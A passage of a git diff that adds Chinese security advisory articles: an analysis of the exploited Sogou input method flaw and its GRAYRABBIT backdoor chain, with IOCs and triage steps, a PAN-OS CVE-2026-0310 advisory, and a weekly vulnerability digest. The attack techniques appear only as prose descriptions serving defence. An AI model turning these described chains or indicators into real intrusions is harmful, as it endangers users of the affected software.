组件，并把“商店地址”替换为受控网页。皮肤商店是少数会打开浏览器窗口的界面，而它对传入网址缺少限制。到这里，一个外部链接已经能够决定本机浏览器打开什么内容。 + +    第三个弱点放大了后果。搜狗当时捆绑的`libcef.dll`自报为CEF 80.1.16、Chromium 80.0.3987.163，约发布于2020年3月。Gen 发现其沙箱被关闭，同源策略也被 `disable-web-security` 等设置禁用。攻击网页因此可以利用CVE-2021-38003等旧版V8漏洞，从网页脚本一路执行到用户权限下的本机代码，不需要再寻找第二次逃逸。 + +    Gen 观察到的攻击使用了域名`noht1ng[.]top`承载利用页面，并把三个文件写入`C:\Users\Public\Documents`：合法的7-Zip、名为`7z.dll`的恶意DLL，以及加密后的最终载荷。随后执行了一个没有实际解压意义的命令，只为让7-Zip加载同目录DLL。恶意DLL会先统计系统进程数，少于50个就生成错误密钥，这是对沙箱和自动分析环境的规避；运行后它把自身内容移入NTFS备用数据流并删除原文件，最终留下GRAYRABBIT后门。 + +    为什么这是真实攻击，而不只是一次漏洞演示 + +    Gen 将活动归因于 UNC3569，并称该组织利用漏洞在真实目标上投放GRAYRABBIT。后门连接`mail.uaiubifas[.]top`的443端口，但通信不是常见TLS，而是经过RC4混淆的明文TCP。对于防守方来说，“443端口就一定是加密Web流量”的假设在这里会失效。 + +    搜狗输入法拥有数亿级用户规模，且在中国大陆中文输入场景中占比很高。即使公开材料没有披露具体受害者区域和数量，这仍是直接影响国内常用软件的真实攻击事件。这里的“大陆关联”来自产品本身和腾讯修复事实，不能进一步推导成中国大陆用户已经遭到大规模入侵。 + +    腾讯对利用链给出了不同判断。其回应称攻击链相对复杂，攻击者需要社会工程诱导用户“主动授权浏览器弹窗”。Gen 则认为点击链接本身已经足够，两家公司都没有公开受害者在弹窗前的具体操作。事实边界应保持清楚：漏洞和真实利用成立，但“单次点击在所有浏览器交互场景中都无提示”这一表述没有得到双方一致确认。 + +    修复入口之后，为什么还要检查旧内核 + +    腾讯在收到报告后12天内完成了自动更新，修复集中在`biz_helper.exe`：只接受HTTPS网址，并把主机名限制在`sogou.com`、`qq.com`、`woa.com`和`sogou`等允许范围内。Gen 检查更新后的文件时仍发现，浏览器内核没有变化，沙箱设置和禁用 Web 安全的编译选项仍在。由于外部链接已经不能再任意指定地址，旧内核暂时失去了这条入口，但这些配置本身说明组件仍需继续改造。 + +对个人用户，更新到16.3.0.3498或更高版本是首要动作。对企业和单位的终端管理员，不能只依赖“用户会手动更新”：应通过软件清单确认实际安装版本，检查自动更新是否被代理、离线包或旧镜像绕过，并单独排查已经停止维护的装机模板和外包办公终端。 + +行动清单：从链接、进程和网络三段排查 + +![](https://mmbiz.qpic.cn/mmbiz_png/nOo5YmK1PHwwM3bGXFvXCx1uUNiazxuwibo1UfFFD5HuWU7a4Fz0ibibPa1zJqwIxrR5Dxf5gPtMtXqo3SrHvS78FE9Phwwlq1cXa9UTn1LVH3k/640?wx_fmt=png&from=appmsg "") + + +    第一，核对搜狗输入法版本。低于16.3.0.3498的Windows版本应尽快更新；第三方软件管家、离线装机包或自建分发目录中的旧安装包也应下架，重新从官方渠道获取。 + +    第二，检查可能已发生的载荷落地。重点关联`C:\Users\Public\Documents`中的`7z.dll`、`p`和`core.dll`，以及Gen公布的SHA-256：`29c7...7a63`对应的恶意DLL、`7491...2422e`对应的`p`文件、`d7a3...8b3a`对应的GRAYRABBIT。文件可能已被删除或移入备用数据流，因此还要查看进程加载记录和文件恢复信息。 + +    第三，在网络侧组合检测`noht1ng[.]top`、`mail.uaiubifas[.]top`和`8.218.50[.]207`，并关注443端口上的非TLS TCP。不能只封一个IP：攻击者可以迁移基础设施，域名、证书、连接特征和终端进程需要联合判断。 + +    第四，确认感染后先隔离和取证，再重置该用户在这台终端上使用过的账号、令牌和开发凭据。只删除`core.dll`不能证明后门已经被清除，公开材料也没有说明安装修复程序必然会移除已经运行的后门。 + +    可以保存这个问题用于终端排查：这台电脑最近是否打开过`sgbiz:`链接？输入法目录是否存在异常更新？公共文档目录曾否出现合法7-Zip和可疑DLL的组合？三个答案能帮助管理员快速区分普通软件行为和需要取证的终端。 + +    证据边界 + +    Gen 的归因、IOC和攻击链来自单一安全厂商的现场调查，腾讯只部分确认漏洞修复与利用条件。公开材料没有说明受影响搜狗版本范围，也没有给出面向普通用户检查版本的可视化步骤；16.3.0.3498是双方共同明确的修复版本，但不应把该编号写成所有受影响分支的唯一结论。访问IOC域名不等于必然失陷，仍需结合进程、文件和账号行为判断。 + +    最值得记住的仍是“熟悉软件加陌生链接”这个入口。输入法每天都接触聊天、搜索和办公内容，一旦它能启动外部浏览器，就必须像浏览器本身一样接受隔离、更新和监控。 + +    热点来源 + +    来源：Gen Digital，One Click to Backdoor: Active Exploitation of Sogou Input Method Vulnerability，2026-09-10；支持事实：CVE-2026-51990、UNC3569、sgbiz链、Chromium 80、CVE-2021-38003、GRAYRABBIT、IOC、16.3.0.3498修复与腾讯回应。链接：https://www.gendigital.com/blog/insights/research/one-click-backdoor-sogou + +    来源：The Hacker News，China-Linked UNC3569 Exploited Sogou Input Method Flaw to Deploy GRAYRABBIT Backdoor，2026-09-11；支持事实：事件时间、修复版本、双方对利用条件的表述和版本状态。链接：https://thehackernews.com/2026/09/china-linked-unc3569-exploited-sogou.html + +    来源：Gen Digital，网页公开IOC表，读取时间2026-09-16；支持事实：恶意DLL、载荷、后门哈希，`mail.uaiubifas[.]top`、`noht1ng[.]top`、`8.218.50[.]207`与公共目录落地路径。链接同原始研究页。 + diff --git a/doc/2026-09/防火墙不是安全终点：PAN-OS未认证漏洞可拿到PA设备root权限.md b/doc/2026-09/防火墙不是安全终点：PAN-OS未认证漏洞可拿到PA设备root权限.md new file mode 100644 index 00000000..2d601045 --- /dev/null +++ b/doc/2026-09/防火墙不是安全终点：PAN-OS未认证漏洞可拿到PA设备root权限.md @@ -0,0 +1,54 @@ +# 防火墙不是安全终点：PAN-OS未认证漏洞可拿到PA设备root权限 +原创 tcode + tcode 字节脉搏实验室 2026-09-16 03:25 + +![](https://mmbiz.qpic.cn/mmbiz_png/nOo5YmK1PHwDpEtag4iaNes51KBFrO5jljlIIxGmxmVzarYiceibr6oKJ6XJheZPziaUD3K7kuWBHyFaoLTOJLbibKOicZ4ia4VyhFXicH3ibx68W7U8/640?wx_fmt=png&from=appmsg "") + + +    很多网络把防火墙放在边界，默认只有管理员能够改变它。CVE-2026-0310打破的是这个顺序：攻击者不需要账号，只要能够访问管理Web或数据平面接口，就可能利用PAN-OS的XML处理越界写入，让VM-Series虚拟防火墙进入拒绝服务，或在PA-Series硬件防火墙上以root权限执行任意代码。Palo Alto Networks在2026年9月9日披露该漏洞，CNNVD在9月11日发布中文通报，并确认PAN-OS多个版本受影响。 + +    这里最值得关注的不是单个评分，而是受影响设备与实际后果的分层。PA-Series的官方综合风险最高，存在任意代码执行；VM-Series目前证实的影响是拒绝服务；Panorama也在受影响范围内。对于已经把管理口放进跳板机白名单的单位，风险低于直接暴露管理Web的部署，但数据面同样是官方列出的网络访问入口，不能只检查管理网段后就认为问题已经排除。 + +    同一条漏洞链，不同设备承担不同后果 + +    漏洞根因是XML处理过程中的越界写入，对应CWE-787。通俗地说，程序处理外部输入时写到了预分配内存之外，可能破坏本应受保护的数据结构。轻则让进程崩溃，重则改变执行流程。官方说明没有特殊配置要求即可能受影响，攻击者也不需要先拿到账号，但必须能够通过网络接触管理Web或数据平面接口。 + +    官方公布的风险值能解释为什么同一漏洞在不同平台上不能只看一个数字。对PA-Series，风险评分是CVSS-BT 7.2、CVSS-B 9.2；对VM-Series，是CVSS-BT 6.6、CVSS-B 8.7；Prisma Access和Cloud NGFW的风险较低，因为它们要求已认证用户，而且外部网络访问受到限制。这里的CVSS-B可以理解为未叠加现实威胁信息的基准分值，CVSS-BT则加入了官方当前掌握的利用态势。页面把利用成熟度标为“UNREPORTED”，同时标记为不可自动化、攻击复杂度高，说明目前没有公开证据证明它已经被恶意利用；这不等于影响小，因为前置条件一旦满足，PA-Series的后果就是root权限。 + +    因此，管理平面暴露是风险放大器，不是漏洞成立的唯一前提。互联网可直达管理Web的设备应排在最前面；数据面允许不受信任网络进入、而管理口已隔离的环境，也不能因为外部扫描看不到登录页就忽略补丁。 + +    修复不能只认主版本号 + +    Palo Alto Networks已经给出分支修复版本。公开通报明确列出：12.2升级到12.2.3或更高，12.1升级到12.1.4-h10或更高，11.2升级到11.2.4-h21或更高，11.1升级到11.1.4-h36或更高，10.2升级到10.2.7-h37或更高。官方页面还列出了12.1.7-h5、11.2.7-h20、11.2.10-h14、11.1.6-h38、10.2.10-h40等维护分支，说明只比较12、11、10这样的主版本号远远不够，必须按设备实际所在分支逐项判断。 + +    官方目前写明“没有已知的缓解办法”，修复方式是升级。把管理接口限制到专用跳板机、收紧管理面访问，可以降低被利用的机会，但它不能替代补丁，尤其不能据此忽略数据面入口。Panorama同样在受影响列表中，集中管理平台、HA设备、备用节点和临时上线的虚拟防火墙都要纳入盘点，不能只更新正在转发流量的那几台。 + +    还要把云托管形态和自管设备分开处理。Prisma Access与Cloud NGFW的风险口径较低，Palo Alto Networks表示会在后续维护周期统一升级；自管PAN-OS、VM-Series、PA-Series和Panorama则需要管理员自己确认版本。采购、分支机构和外包运维代管的设备，最容易在集中盘点时被遗漏。 + +    行动清单：先盘暴露，再按分支升级 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/nOo5YmK1PHzdCcTqnIxCueeYhVhYI5TpAsVd0XevO3vupibL0RsnlzTF9tWKseD9ibKJKLL5oPXJibEQhiaKfVvFpo3E6LLzB8rdUlkvCnZTDDk/640?wx_fmt=png&from=appmsg "") + + +    第一，盘点管理面和数据面的真实可达性。列出全部PAN-OS、VM-Series、PA-Series、Panorama及云托管实例，逐台确认哪些不受信任网络可以到达管理Web或数据平面接口。配置台账里写着“仅内网可达”并不够，应结合实际路由、NAT、VPN、跳板机和临时运维通道复核。 + +    第二，按分支核对精确修复版本，而不是只看设备显示的大版本。重点检查12.2、12.1、11.2、11.1和10.2分支是否达到对应修复线；存在多个维护分支时，以官方产品状态表为准。无法确认版本或已经停止维护的设备，应先隔离管理面，再制定升级或替换计划。 + +    第三，按厂商支持文档安排HA与Panorama维护窗口。升级前确认主备同步、配置备份和回退条件，升级后检查集群成员、控制连接与配置同步状态。不要只更新一台HA节点后就把设备重新视为已修复，也不要把Panorama留到最后一轮。 + +    第四，排查崩溃和控制面变化，但不要把排查结果直接当成失陷证据。应关注设备异常重启、XML相关进程崩溃、非计划配置提交、管理员账号或权限变化、HA状态反复切换等信号，并结合系统日志、管理日志、配置差异和崩溃记录交叉判断。若补丁前存在不受信任网络可达，同时出现上述异常，应先隔离管理面、保留日志并联系官方支持。 + +    证据边界 + +    这起漏洞由厂商内部发现，官方在9月9日首次发布时没有报告已知恶意利用，利用成熟度仍是“UNREPORTED”。CNNVD在9月11日转述厂商修复信息并给出中文处置提示，说明它已进入中国大陆漏洞治理视野，但这份通报没有证明大陆已经发生攻击事件。不能把CVSS-B 9.2写成“已有攻击”，也不能把“未报告利用”写成“不会有人利用”。 + +    对大多数管理员，判断顺序可以保存为三句话：设备能不能被不受信任网络碰到管理Web或数据面？当前分支有没有达到官方修复版本？Panorama和HA备用节点是否一起处理？只要其中一个答案不确定，就不能把这次PAN-OS漏洞视为已经闭环。 + +    热点来源 + +    来源：Palo Alto Networks，CVE-2026-0310 PAN-OS: Buffer Overflow Vulnerability via XML Processing，2026-09-09；支持事实：CWE-787越界写入、未认证网络访问管理Web或数据面、VM-Series拒绝服务、PA-Series root任意代码执行、Panorama受影响、CVSS-BT与CVSS-B分值、利用成熟度、修复分支和无已知缓解办法。链接：https://security.paloaltonetworks.com/CVE-2026-0310 + +    来源：CNNVD（安全内参转载），关于Palo Alto Networks PAN-OS缓冲区错误漏洞的通报，2026-09-11；支持事实：CNNVD-2026-74694972、CVE-2026-0310、未认证影响范围、VM-Series与PA-Series后果、五个修复版本线和尽快修补建议。链接：https://www.secrss.com/articles/93887 + +    来源：MITRE CWE，CWE-787: Out-of-bounds Write，读取时间2026-09-16；支持事实：越界写入的定义与潜在安全影响。链接：https://cwe.mitre.org/data/definitions/787.html + diff --git a/doc/2026-09/雷神众测漏洞周报2026.9.7-2026.9.13.md b/doc/2026-09/雷神众测漏洞周报2026.9.7-2026.9.13.md new file mode 100644 index 00000000..3aeccec6 --- /dev/null +++ b/doc/2026-09/雷神众测漏洞周报2026.9.7-2026.9.13.md @@ -0,0 +1,169 @@ +# 雷神众测漏洞周报2026.9.7-2026.9.13 +原创 雷神众测 + 雷神众测 雷神众测 2026-09-16 07:00 + +摘要 + + +以下内容，均摘自于互联网，由于传播，利用此文所提供的信息而造成的任何直接或间接的后果和损失，均由使用者本人负责，雷神众测以及文章作者不承担任何责任。 + + +雷神众测拥有该文章的修改和解释权。如欲转载或传播此文章，必须保证此文章的副本，包括版权声明等全部内容。声明雷神众测允许，不得任意修改或增减此文章内容，不得以任何方式将其用于商业目的。 + + +目录 + +**1.Google Chrome代码执行漏洞** + +**2.D-Link DWR-M961命令注入漏洞** + +**3.DELL Power Protect Cyber Recovery身份验证不当漏洞** + +**4.Google Chrome信息泄露漏洞** + + +漏洞详情 + +**1.Google Chrome代码执行漏洞** + + +漏洞介绍： + +Google Chrome是由谷歌公司开发的网页浏览器。 + + +漏洞危害： + +Google Chrome存在代码执行漏洞，该漏洞源于Aura组件在处理HTML页面时对对象生命周期的错误管理，导致内存错误引用。攻击者可利用该漏洞通过精心构造的HTML页面在沙箱外执行任意代码。 + + +漏洞编号： + +CVE-2026-79290 + + +影响范围： + +Google Chrome <152.0.7977.65 + + +修复方案： + +及时测试并升级到最新版本或升级版本 + + +来源： +CNVD + +**2.D-Link DWR-M961命令注入漏洞** + +**** +漏洞介绍： + +D-Link DWR-M961是友讯（D-Link）推出的一款4GLTEAC1200双频无线路由器。 + + +漏洞危害： + +D-Link DWR-M961存在命令注入漏洞，该漏洞源于/boafrm/formTracerouteDialogicRun接口未过滤host和ipVer字段中的命令分隔符。攻击者可利用该漏洞在未认证状态下注入恶意命令，并以root权限执行。 + + +漏洞编号： + +CVE-2026-71947 + + +影响范围： + +D-Link DWR-M961 <1.1.5_C1_202607071108 + + +修复方案： + +及时测试并升级到最新版本或升级版本 + + +来源： +CNVD + + +**3.DELL Power Protect Cyber Recovery身份验证不当漏洞** + + +漏洞介绍： + +DELL Power Protect Cyber Recovery是戴尔科技集团推出的一款‌数据保护与网络恢复解决方案。 + + +漏洞危害： + +DELL Power Protect Cyber Recovery存在身份验证不当漏洞，该漏洞源于身份验证不当，攻击者可利用该漏洞通过远程访问进行未授权访问。 + + +漏洞编号： + +CVE-2026-79938 + + +影响范围： + +DELL PowerProtect Cyber Recovery <20.3 + + +修复方案： + +及时测试并升级到最新版本或升级版本 + + +来源： +CNVD + +**4.Google Chrome信息泄露漏洞** + + +漏洞介绍： + +Google Chrome是由谷歌公司开发的网页浏览器。 + + +漏洞危害： + +Google Chrome存在信息泄露漏洞，该漏洞源于CSS处理过程中未能正确处理特定样式数据，导致敏感信息被意外暴露，攻击者可利用该漏洞通过精心构造的HTML页面获取用户敏感信息。 + + +漏洞编号： + +CVE-2026-79291 + + +影响范围： + +Google Chrome <152.0.7977.65 + + +修复方案： + +及时测试并升级到最新版本或升级版本 + + +来源： +CNVD + + + + + + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/V2X9n7vzLP0kSjAg48gYqOuc84iaialYgD6omNO1jEV4MUxNlXOL6t1DEmiby1TOItnw2KWpTOyibZe3TAU1unFx1oANTs45NoAicoU6pTicKyMQ4/640?wx_fmt=jpeg&from=appmsg "") + +专注渗透测试技术 + +全球最新网络攻击技术 + + +**END** + +![](https://mmbiz.qpic.cn/mmbiz_jpg/V2X9n7vzLP0hknZncYB6v1s9kIRF3icf49f1MT1hMkwm355CZmabiaA0icuNJxE41RyeRlibhGNh0ROYeRqyW2a60EhfaQKCqgnXuJxiaeV1DrHM/640?wx_fmt=jpeg&from=appmsg "") + + +